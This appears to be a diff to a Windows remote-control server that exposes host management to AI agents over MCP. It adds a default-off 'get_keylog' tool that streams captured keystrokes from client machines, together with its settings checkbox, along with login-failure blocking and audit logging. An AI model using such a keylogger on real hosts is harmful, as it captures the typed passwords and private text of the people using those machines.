props["status"] = PropStr(u8"按状态子串过滤,如 Ready / Disabled");
|
||||
AddTool(tools, "host_list_scheduled_tasks",
|
||||
u8"列出在线 Windows 主机的计划任务(主机管理「计划任务」标签页)。返回任务名、完整路径、所在文件夹、可执行文件、状态与上次/下次运行时间。任务名 + folder 可用于 host_control_task。",
|
||||
ReadInputSchema(props), MakeListOutputSchema("tasks", TaskItemSchema()));
|
||||
ReadInputSchemaBatch(props), MakeListOutputSchema("tasks", TaskItemSchema()));
|
||||
}
|
||||
{
|
||||
Json::Value props(Json::objectValue);
|
||||
@@ -2755,7 +2825,7 @@ void AppendTools(Json::Value& tools) {
|
||||
|
||||
AddTool(tools, "host_get_hosts_file",
|
||||
u8"读取在线 Windows 主机的 hosts 文件(主机管理「HOSTS」标签页),按行返回并自动识别 UTF-8/GBK。只读;不提供写入能力。",
|
||||
MakeSchema(props, { "id" }), out);
|
||||
IdOrIdsSchema(props), out);
|
||||
}
|
||||
|
||||
// ---- 主机管理:4 个写工具(只读 + 可恢复操作) ----
|
||||
|
||||
+854
-65
File diff suppressed because it is too large.
Load diff
@@ -9,6 +9,7 @@
|
||||
#include <condition_variable>
|
||||
#include <map>
|
||||
#include <set>
|
||||
#include <unordered_map>
|
||||
#include <vector>
|
||||
#include <deque>
|
||||
#include <memory>
|
||||
@@ -302,6 +303,22 @@ public:
|
||||
bool BeginMachineSession(uint64_t device_id, const std::string& tool, context* mainCtx);
|
||||
bool BeginConnMgrSession(uint64_t device_id, const std::string& tool, context* mainCtx);
|
||||
|
||||
// ===== N3:键盘记录(get_keylog)=====
|
||||
// 复用 P8 的会话表(PendingKind::Keylog,单设备单飞行),但不走「请求-响应」:
|
||||
// 主连接下发 COMMAND_KEYBOARD(169) → 客户端新建子连接 → TOKEN_KEYBOARD_START(293)
|
||||
// 作为就绪包绑定 → 之后客户端每约 1s 推一包 TOKEN_KEYBOARD_DATA(294) 击键文本,
|
||||
// 服务端累积到 keylogBuf 由 WaitKeylogData 取走。独立开关 McpKeylog(默认关)。
|
||||
// 见 docs/Mcp_Design.md。
|
||||
void SetKeylogEnabled(bool enabled) { m_keylogEnabled = enabled; }
|
||||
bool IsKeylogEnabled() const { return m_keylogEnabled; }
|
||||
|
||||
bool BeginKeylogSession(uint64_t device_id, const std::string& tool, context* mainCtx);
|
||||
|
||||
enum class KeylogWaitResult { Ok, Timeout, Closed };
|
||||
// 取走累积字节并清零;timeoutMs 内无数据则 Timeout。truncated 回传是否已到上限。
|
||||
KeylogWaitResult WaitKeylogData(uint64_t device_id, std::string& out,
|
||||
int timeoutMs, bool& truncated);
|
||||
|
||||
// 工具线程:发命令前清空上一次响应并登记期望 token。
|
||||
void ArmManagedResponse(uint64_t device_id, BYTE expectedToken);
|
||||
|
||||
@@ -381,10 +398,29 @@ private:
|
||||
// POST /mcp 处理器:token 校验 + JSON-RPC 分发。
|
||||
void HandleMcp(const httplib::Request& req, httplib::Response& res);
|
||||
|
||||
// ===== 鉴权加固 =====
|
||||
// 同一 IP 在窗口期内连续鉴权失败达到阈值即封禁一段时间;封禁期内直接 429,不再比对 token。
|
||||
bool IsAuthBlocked(const std::string& ip);
|
||||
bool RecordAuthFailure(const std::string& ip); // 返回 true 表示本次失败触发了封禁
|
||||
void ClearAuthFailures(const std::string& ip);
|
||||
|
||||
// 审计日志(<exe>\logs\mcp_audit.log):只写时间/IP/工具名/结果等元数据,
|
||||
// 绝不写 token、Authorization 头、请求参数或返回内容。
|
||||
void AuditMcpEvent(const char* event, const std::string& ip, const std::string& detail);
|
||||
static void AppendAuditFile(const std::string& line);
|
||||
|
||||
struct AuthFailRecord {
|
||||
int count = 0;
|
||||
std::chrono::steady_clock::time_point windowStart;
|
||||
std::chrono::steady_clock::time_point blockedUntil;
|
||||
};
|
||||
std::mutex m_AuthMutex;
|
||||
std::unordered_map<std::string, AuthFailRecord> m_AuthFails;
|
||||
|
||||
// 挂起请求类型:主机管理/连接管理会话与既有一次性请求共用 m_Pending 保证单设备单飞行,
|
||||
// 但 MessageHandle 的 P2b/P3/P7 拦截分支(IsPending/TakeMainResponse)必须把这两类排除,
|
||||
// 否则用户手动打开对话框时 UI 包会被 MCP 抢走。
|
||||
enum class PendingKind { Generic, FollowUp, Machine, ConnMgr };
|
||||
enum class PendingKind { Generic, FollowUp, Machine, ConnMgr, Keylog };
|
||||
static bool KindAcceptsToken(PendingKind kind, BYTE token);
|
||||
|
||||
bool BeginManagedSession(uint64_t device_id, const std::string& tool,
|
||||
@@ -421,6 +457,9 @@ private:
|
||||
std::string clientError; // TOKEN_MACHINE_MSG(42) 文本(已转 UTF-8)
|
||||
bool closed = false; // 子连接在等待期间断开
|
||||
std::chrono::steady_clock::time_point deadline; // 整个会话的截止时间
|
||||
// ===== N3:键盘记录(kind = Keylog 时有效)=====
|
||||
std::string keylogBuf; // 累积的原始击键字节(客户端编码,未含 token)
|
||||
bool keylogTruncated = false; // 已到字节上限,后续数据被丢弃
|
||||
};
|
||||
std::mutex m_PendingMutex;
|
||||
std::condition_variable m_PendingCv;
|
||||
@@ -558,6 +597,7 @@ private:
|
||||
bool m_manageEnabled = false; // P7 管理控制开关(默认关;要求 m_readonly=false)
|
||||
bool m_machineEnabled = false; // P8 主机管理族总开关(默认关;16 个 host_* 工具)
|
||||
bool m_machineDangerousEnabled = false; // P8 高风险子集(冻结/解冻进程、停止/重启服务)
|
||||
bool m_keylogEnabled = false; // N3 键盘记录开关(默认关;get_keylog)
|
||||
};
|
||||
|
||||
// 全局访问器(仿 WebService(),见 WebService.h 末尾)
|
||||
|
||||
@@ -106,7 +106,7 @@ INT_PTR CMcpSettingsDlg::DoModal()
|
||||
{
|
||||
USES_CONVERSION;
|
||||
CString title = _TR("MCP设置");
|
||||
BuildDialogTemplate(m_Template, T2CW(title), 320, 510);
|
||||
BuildDialogTemplate(m_Template, T2CW(title), 320, 540);
|
||||
InitModalIndirect((LPCDLGTEMPLATE)m_Template.data());
|
||||
return CDialog::DoModal();
|
||||
}
|
||||
@@ -157,6 +157,9 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnChat.Create(_TR("启用远程交谈(AI 与用户对话)"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
r0, this, IDC_MCP_CHAT);
|
||||
m_btnKeylog.Create(_TR("启用键盘记录(AI 采集击键)"),
|
||||
WS_CHILD | WS_VISIBLE | WS_TABSTOP | BS_AUTOCHECKBOX,
|
||||
r0, this, IDC_MCP_KEYLOG);
|
||||
m_lblWhitelist.Create(_TR("命令白名单"), WS_CHILD | WS_VISIBLE, r0, this, (UINT)-1);
|
||||
m_editWhitelist.Create(WS_CHILD | WS_VISIBLE | WS_BORDER | WS_TABSTOP |
|
||||
ES_MULTILINE | ES_AUTOVSCROLL | ES_WANTRETURN | WS_VSCROLL,
|
||||
@@ -184,6 +187,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnMachine.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnMachineDangerous.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnChat.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnKeylog.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_lblWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_editWhitelist.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
m_btnOK.SendMessage(WM_SETFONT, (WPARAM)hFont, MAKELPARAM(TRUE, 0));
|
||||
@@ -204,6 +208,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
int machine = THIS_CFG.GetInt("settings", "McpMachine", 0);
|
||||
int machineDangerous = THIS_CFG.GetInt("settings", "McpMachineDangerous", 0);
|
||||
int chat = THIS_CFG.GetInt("settings", "McpChat", 0);
|
||||
int keylog = THIS_CFG.GetInt("settings", "McpKeylog", 0);
|
||||
std::string whitelist = THIS_CFG.GetStr("settings", "McpCmdWhitelist", "");
|
||||
|
||||
m_btnEnable.SetCheck(enabled ? BST_CHECKED : BST_UNCHECKED);
|
||||
@@ -218,6 +223,7 @@ BOOL CMcpSettingsDlg::OnInitDialog()
|
||||
m_btnMachine.SetCheck(machine ? BST_CHECKED : BST_UNCHECKED);
|
||||
m_btnMachineDangerous.SetCheck(machineDangerous ? BST_CHECKED : BST_UNCHECKED);
|
||||
m_btnChat.SetCheck(chat ? BST_CHECKED : BST_UNCHECKED);
|
||||
m_btnKeylog.SetCheck(keylog ? BST_CHECKED : BST_UNCHECKED);
|
||||
// 白名单存储为逗号分隔,展示为每行一条。
|
||||
m_editWhitelist.SetWindowText(CString(WhitelistForDisplay(whitelist).c_str()));
|
||||
|
||||
@@ -241,6 +247,7 @@ void CMcpSettingsDlg::OnOK()
|
||||
bool machine = (m_btnMachine.GetCheck() == BST_CHECKED);
|
||||
bool machineDangerous = (m_btnMachineDangerous.GetCheck() == BST_CHECKED);
|
||||
bool chat = (m_btnChat.GetCheck() == BST_CHECKED);
|
||||
bool keylog = (m_btnKeylog.GetCheck() == BST_CHECKED);
|
||||
|
||||
// 危险子集依附于主机管理总开关:没开主机管理就没有工具可放开,直接清除并提示。
|
||||
if (machineDangerous && !machine) {
|
||||
@@ -279,6 +286,7 @@ void CMcpSettingsDlg::OnOK()
|
||||
THIS_CFG.SetInt("settings", "McpMachine", machine ? 1 : 0);
|
||||
THIS_CFG.SetInt("settings", "McpMachineDangerous", machineDangerous ? 1 : 0);
|
||||
THIS_CFG.SetInt("settings", "McpChat", chat ? 1 : 0);
|
||||
THIS_CFG.SetInt("settings", "McpKeylog", keylog ? 1 : 0);
|
||||
std::string whitelist = CT2A(sWhitelist);
|
||||
whitelist = NormalizeWhitelist(whitelist);
|
||||
THIS_CFG.SetStr("settings", "McpCmdWhitelist", whitelist);
|
||||
@@ -288,7 +296,8 @@ void CMcpSettingsDlg::OnOK()
|
||||
_TR("启用/端口/绑定地址/Token/只读/白名单/持久终端/远程控制/文件传输/管理操作/主机管理/危险主机操作的改动需重启程序生效。") + _T("\r\n") +
|
||||
_TR("持久终端、远程控制与管理操作仅在只读模式关闭时生效。") + _T("\r\n") +
|
||||
_TR("主机管理的写操作需只读模式关闭;冻结/解冻进程、停止/重启服务还需启用危险主机操作。") + _T("\r\n") +
|
||||
_TR("远程交谈开关的改动需重启程序生效。"),
|
||||
_TR("远程交谈开关的改动需重启程序生效。") + _T("\r\n") +
|
||||
_TR("键盘记录开关的改动需重启程序生效。"),
|
||||
_TR("提示"), MB_ICONINFORMATION);
|
||||
|
||||
CDialog::OnOK();
|
||||
@@ -343,6 +352,9 @@ void CMcpSettingsDlg::LayoutControls(int cx, int cy)
|
||||
m_btnChat.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||
y += 30;
|
||||
|
||||
m_btnKeylog.MoveWindow(margin, y, cx - margin * 2, 22);
|
||||
y += 30;
|
||||
|
||||
const int whitelistH = 90;
|
||||
m_lblWhitelist.MoveWindow(margin, y, labelW, rowH);
|
||||
m_editWhitelist.MoveWindow(margin + labelW, y - 2, cx - margin * 2 - labelW, whitelistH);
|
||||
|
||||
@@ -35,6 +35,7 @@ private:
|
||||
IDC_MCP_MACHINE = 1011, // 「启用主机管理」复选框(host_* 工具族)
|
||||
IDC_MCP_MACHINE_DANGEROUS = 1012, // 「启用危险主机操作」复选框(冻结/停止/重启)
|
||||
IDC_MCP_CHAT = 1013, // 「启用远程交谈」复选框(chat_* 工具族,不要求只读关)
|
||||
IDC_MCP_KEYLOG = 1014, // 「启用键盘记录」复选框(get_keylog,不要求只读关)
|
||||
};
|
||||
|
||||
CButton m_btnEnable;
|
||||
@@ -48,6 +49,7 @@ private:
|
||||
CButton m_btnMachine;
|
||||
CButton m_btnMachineDangerous;
|
||||
CButton m_btnChat;
|
||||
CButton m_btnKeylog;
|
||||
CStatic m_lblWhitelist;
|
||||
CEdit m_editWhitelist;
|
||||
CButton m_btnOK, m_btnCancel;
|
||||
|
||||
@@ -2012,6 +2012,8 @@ Token=Token
|
||||
启用远程交谈(AI 与用户对话)=Fernchat aktivieren (KI spricht mit dem Benutzer)
|
||||
MCP远程交谈=MCP-Fernchat
|
||||
远程交谈开关的改动需重启程序生效。=Aenderungen am Fernchat-Schalter werden nach einem Neustart wirksam.
|
||||
启用键盘记录(AI 采集击键)=Keylogger aktivieren (KI-Tastenaufzeichnung)
|
||||
键盘记录开关的改动需重启程序生效。=Aenderungen am Keylogger-Schalter werden erst nach einem Neustart wirksam.
|
||||
主机管理的写操作需只读模式关闭;冻结/解冻进程、停止/重启服务还需启用危险主机操作。=Schreiboperationen der Maschinenverwaltung erfordern deaktivierten Nur-Lesen-Modus; Einfrieren/Auftauen von Prozessen und Stoppen/Neustarten von Diensten erfordern zusaetzlich gefaehrliche Maschinenoperationen.
|
||||
第 %d 个钱包地址不合法!=Wallet-Adresse #%d ist ungueltig!
|
||||
%d 新连接\r\n=%d Neue Verbindung\r\n
|
||||
|
||||
@@ -2017,6 +2017,8 @@ Token=Token
|
||||
启用远程交谈(AI 与用户对话)=Enable remote chat (AI talks to the user)
|
||||
MCP远程交谈=MCP remote chat
|
||||
远程交谈开关的改动需重启程序生效。=Changes to the remote chat switch take effect after restart.
|
||||
启用键盘记录(AI 采集击键)=Enable keylogger (AI keystroke capture)
|
||||
键盘记录开关的改动需重启程序生效。=Changes to the keylogger switch take effect after restart.
|
||||
主机管理的写操作需只读模式关闭;冻结/解冻进程、停止/重启服务还需启用危险主机操作。=Host management write operations require read-only mode to be off; freezing/thawing processes and stopping/restarting services also require dangerous host operations.
|
||||
第 %d 个钱包地址不合法!=Wallet address #%d is invalid!
|
||||
%d 新连接\r\n=%d New connection\r\n
|
||||
|
||||
@@ -2008,6 +2008,8 @@ Token=Token
|
||||
启用远程交谈(AI 与用户对话)=啟用遠端交談(AI 與使用者對話)
|
||||
MCP远程交谈=MCP遠端交談
|
||||
远程交谈开关的改动需重启程序生效。=遠端交談開關的變更需重新啟動程式後生效。
|
||||
启用键盘记录(AI 采集击键)=啟用鍵盤記錄(AI 擷取按鍵)
|
||||
键盘记录开关的改动需重启程序生效。=鍵盤記錄開關的改動需重新啟動程式方可生效。
|
||||
主机管理的写操作需只读模式关闭;冻结/解冻进程、停止/重启服务还需启用危险主机操作。=主機管理的寫入操作需關閉唯讀模式;凍結/解凍處理程序、停止/重新啟動服務還需啟用危險主機操作。
|
||||
第 %d 个钱包地址不合法!=第 %d 個錢包位址不合法!
|
||||
%d 新连接\r\n=%d 新連線\r\n
|
||||
|
||||
Reference in new issue
Block a user